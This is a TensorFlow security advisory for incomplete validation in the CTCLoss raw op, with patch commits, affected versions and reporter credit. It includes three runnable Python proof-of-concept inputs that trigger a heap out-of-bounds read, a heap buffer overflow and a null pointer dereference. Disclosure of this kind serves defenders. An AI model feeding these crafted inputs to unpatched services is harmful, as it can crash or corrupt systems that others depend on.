### Impact
Incomplete validation in `tf.raw_ops.CTCLoss` allows an attacker to trigger an OOB read from heap:
```python
import tensorflow as tf
inputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32)
labels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64)
labels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32)
sequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32)
tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
labels_values=labels_values, sequence_length=sequence_length,
preprocess_collapse_repeated=True, ctc_merge_repeated=False,
ignore_longer_outputs_than_inputs=True)
```
An attacker can also trigger a heap buffer overflow:
```python
import tensorflow as tf
inputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32)
labels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64)
labels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32)
sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)
tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
labels_values=labels_values, sequence_length=sequence_length,
preprocess_collapse_repeated=False, ctc_merge_repeated=False,
ignore_longer_outputs_than_inputs=False)
```
Finally, an attacker can trigger a null pointer dereference:
```python
import tensorflow as tf
inputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32)
labels_indices = tf.constant([], shape=[0, 2], dtype=tf.int64)
labels_values = tf.constant([], shape=[0], dtype=tf.int32)
sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)
tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
labels_values=labels_values, sequence_length=sequence_length,
preprocess_collapse_repeated=False, ctc_merge_repeated=False,
ignore_longer_outputs_than_inputs=False)
```
### Patches
We have patched the issue in GitHub commit14607c0707040d775e06b6817325640cb4b5864c
https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c followed by GitHub commit 4504a081af71514bb1828048363e6540f797005b
https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.